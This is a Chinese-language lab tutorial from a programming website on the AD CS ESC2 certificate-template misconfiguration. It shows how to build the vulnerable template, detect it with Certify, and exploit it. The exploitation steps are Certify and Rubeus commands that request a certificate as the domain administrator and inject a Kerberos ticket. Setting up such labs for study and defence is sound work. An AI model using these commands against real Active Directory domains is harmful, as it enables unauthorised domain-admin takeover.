跳转到主内容
新派编程网 - 新潮编程理念,全新技术课堂!

ADCS-ESC2漏洞环境构造与利用

原理 ESC2 漏洞主要源于 ADCS 中证书模板配置的不合理。

当证书模板允许用户指定 Subject Alternative Name(SAN),并且没有对其进行严格的验证和限制时,攻击者就可以利用这一漏洞,通过构造特殊的 SAN 字段来获取具有高权限的证书,进而实现权限提升和其他恶意操作。

漏洞利用条件 证书注册权限 :Authenticated Users具备获取证书的权限。

应用程序策略 :证书应用程序策略无验证。

关键标志开启 :开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,此标志允许通过_CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_声明自身身份,从而实现伪装成域管理员的目的。

漏洞环境构造 配置证书模板 在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证

常规 模板名称设置为ESC2

安全 将Authenticated Users加入注册权限

使用者名称 选择在请求中提供,开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

扩展 选择应用程序策略,将策略设置为无

发布证书模板 打开certsrv.msc 在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC2确定添加

漏洞环境检测 使用Certify检测有没有证书配置错误

Certify.exe find /vulnerable

当出现以下情况时,满足 ESC2 漏洞条件,即存在 ESC2 漏洞: msPKI-Certificate-Name-Flag :ENROLLEE_SUPPLIES_SUBJECT pkiextendedkeyusage :无验证 Enrollment Rights :Authenticated Users可获取证书 满足上述条件,可利用证书漏洞伪装成域管理员获取更高权限。

漏洞利用 在普通域用户下,使用Certify.exe以administrator身份申请ESC2证书

Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC2 /altname:administrator

将申请的证书复制保存为cert.pem,使用openssl转为cert.pfx,密码为空即可

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

使用Rubeus请求域管administrator的TGT

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.110.127 /ptt

将域控制器身份验证注册后再次执行,成功导入票据

导入票据后,已经有权限访问域控目录

相关文章